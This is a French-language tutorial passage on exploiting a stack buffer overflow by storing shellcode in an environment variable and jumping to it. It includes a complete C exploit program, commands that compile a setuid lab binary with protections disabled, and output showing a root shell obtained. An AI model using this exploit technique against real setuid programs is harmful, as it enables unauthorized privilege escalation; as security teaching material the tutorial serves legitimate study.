V°) Utiliser l'environnement
Nous allons maintenant étudier le cas, courant, où le buffer est trop petit pour accueillir notre buffer travaillé (NOP Sled + Shellcode + Adresse de retour).
L'idée de l'exploitation est simple : l'utilisation des variables d'environnement.
Les variables d'environnement
Tout d'abord, qu'est-ce que les variables d'environnement ? Ce sont tout simplement des variables qui servent à décrire
l'environnement, ou le contexte courant d'éxécution du programme. Un processus transmet son environnement à tous ses processus fils (en effectuant
les modifications nécessaires, le nom, le niveau de shell, etc..). Voici un exemple d'environnement :
$ env
SSH_AGENT_PID=2406
GPG_AGENT_INFO=/tmp/seahorse-KIiV1v/S.gpg-agent:2406:1
SHELL=/bin/bash
DESKTOP_STARTUP_ID=
TERM=xterm
GTK_RC_FILES=/etc/gtk/gtkrc:/home/********/.gtkrc-1.2-gnome2
WINDOWID=50333027
GTK_MODULES=gnomebreakpad
USER=********
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;[...]35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35:
SSH_AUTH_SOCK=/tmp/ssh-bmxJtv2350/agent.2350.seahorse
GNOME_KEYRING_SOCKET=/tmp/keyring-wLpfOw/socket
SESSION_MANAGER=local/**********:/tmp/.ICE-unix/2350
USERNAME=********
DESKTOP_SESSION=gnome
PATH=/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games
GDM_XSERVER_LOCATION=local
PWD=/home/********
LANG=fr_FR@euro
GDM_LANG=fr_FR@euro
GDMSESSION=gnome
HOME=/home/********
SHLVL=1
GNOME_DESKTOP_SESSION_ID=Default
LOGNAME=********
XDG_DATA_DIRS=/usr/local/share/:/usr/share/:/usr/share/gdm/
DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-jZJI1myvcB,guid=a3ccea00256419218cc97a00472ca33e
WINDOWPATH=7
DISPLAY=:0.0
COLORTERM=gnome-terminal
XAUTHORITY=/home/********/.Xauthority
_=/usr/bin/env
$
Les variables d'environnement communes sont SHLVL (le nombre de shells au-dessus du processus courant), USER indique le nom d'utilisateur courant, SHELL
le shell utilisé, PATH est la liste des chemins d'exécution par défaut (quand on tape une commande, la recherche est effectuée dans ces répertoires), _
contient le nom de la commande qui a lancé le processus en cours ; mais aussi beaucoup d'autres plus obscures comme LS_COLORS qui contient les couleurs utilisées
pour chaque type de fichiers rencontrés à l'affichage (à noter que sous Linux, tout est fichier, les répertoires, symbolic links, hard links y compris).
Bien sûr, tout ce contexte d'exécution est accessible à tout programme en cours. La chose importante est que l'utilisateur est libre de faire évoluer
ses processus dans l'environnement qu'il veut. Il peut ainsi notamment ajouter n'importe quelle variable d'environnement. Démonstration :
$ export TEST="Nouvelle variable d'environnement"
$ env
SSH_AGENT_PID=2406
GPG_AGENT_INFO=/tmp/seahorse-KIiV1v/S.gpg-agent:2406:1
SHELL=/bin/bash
DESKTOP_STARTUP_ID=
TERM=xterm
[...]
LANG=fr_FR@euro
GDM_LANG=fr_FR@euro
GDMSESSION=gnome
TEST=Nouvelle variable d'environnement
[...]
_=/usr/bin/env
$
L'idée de l'exploitation devient triviale : voici la place pour stocker notre shellcode. Il nous suffit d'injecter notre shellcode dans l'environnement et
d'y accéder ensuite depuis le programme d'exploitation.
Nous effectuons ici une parenthèse relative à la majorité des autres article sur le sujet : il n'est plus possible d'effectuer cette exploitation en lignes
de commande, car les espaces mémoires ne peuvent plus être déterminés à l'avance depuis l'intégration commune du patch ASLR (Address Space Layout Randomization).
Les variables d'environnement étant stockées au fond de la pile, si l'espace mémoire alloué est aléatoire, l'adresse de la variable d'environnement l'est aussi.
On la récupère donc au début de notre programme d'exploitation. C'est aussi la raison qui fait que nous n'avons pas du tout développé l'exploitation des buffer-overflows
sans programme d'exploitation.
Exploitation en dehors du buffer
Pour nous obliger à ne pas pouvoir utiliser le buffer, on modifie le programme stack-based_overflow en mettant un buffer ne comportant
que 20 caractères. Ainsi, il n'y a pas assez de place pour injecter notre shellcode. Voici notre programme d'exploitation :
//stack-based_exploit2.c Exploitation de l'environnement
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#define VAR_ENV "BYTECODE" //Variable d'environnement contenant le bytecode à insérérer
#define LONG_BUFFER 40 //Longueur du buffer injecté
int main() {
char *buffer;
long env_var,*temp_addr;
int i;
if (getenv(VAR_ENV) == NULL)
{
printf("Variable d'environnement %s non trouvée\n",VAR_ENV);
exit(0);
}
env_var = getenv(VAR_ENV);
printf("Contenu de la variable d'environnement %s à 0x%x: %s\n",VAR_ENV,env_var,env_var);
buffer = malloc(LONG_BUFFER);
temp_addr = (long *) buffer;
printf("Adresse cible à 0x%x\n",env_var);
for (i=0;i < LONG_BUFFER;i+=4) //Injection de l'adresse de retour
*(temp_addr++) = env_var;
buffer[LONG_BUFFER - 1] = 0;
execl("./stack-based_overflow2","stack-based_overflow2",buffer,0);
free(buffer);
return 0;
}
Comme vous pouvez le constater, le programme d'exploitation ne change pas foncièrement, il est même plutôt simplifié, puisque le déterminisme total
de l'adresse de retour voulue nous permet de nous affranchir du NOP Sled. Testons.
$ su -
Mot de passe :
# gcc -m32 -fno-stack-protector -z execstack stack-based_overflow2.c -o stack-based_overflow2 && chmod +s stack-based_overflow2
# logout
$ export BYTECODE=`cat shellcode`
$ gcc stack-based_exploit2.c -o stack-based__exploit2 && ./stack-based__exploit2
Contenu de la variable d'environnement BYTECODE à 0xbf868e57: ë^1ÀFF
°
óV
Í1ÛØ@ÍèÜÿÿÿ/bin/sh
Adresse cible à 0xbf868e57
Votre nom, W¿W¿W¿W¿W¿W¿W¿W¿W¿W, a été enregistré avec succès
sh-3.1# whoami
root
sh-3.1#
L'exploitation marche donc parfaitement. Vous l'aurez peut-être remarqué, nous avons mis deux '_' au nom de l'exécutable, tout simplement pour que le
nom soit de la même taille que celui du programme vulnérable. Ainsi, la valeur de l'adresse de la variable d'environnement n'est pas modifiée
(nous rappellons que le nom de l'éxécutable se trouve au fond de la pile, dans la variable _). Changer le nom invoquerait un décalage des adresses.
A noter
qu'une autre technique similaire consister à glisser le shellcode dans les arguments de l'exécutable (paramètres
d'appel), qui
comportent l'avantage d'être à une distance à peu près fixe du buffer (le but est donc, non pas de faire sauter l'EIP dans le buffer
vulnérable, mais dans les arguments de la fonction principale, dans le bas de la pile). Certains programmeur prennent
soin, lorsque possible, de nettoyer l'environnement et les arguments non-nécessaires au début de l'exécution
du programme.
Cet article conclut notre partie sur l'exploitation classique des buffer-overflows, la faille la plus répandue et certainement la plus dangereuse parmi
les exécutables.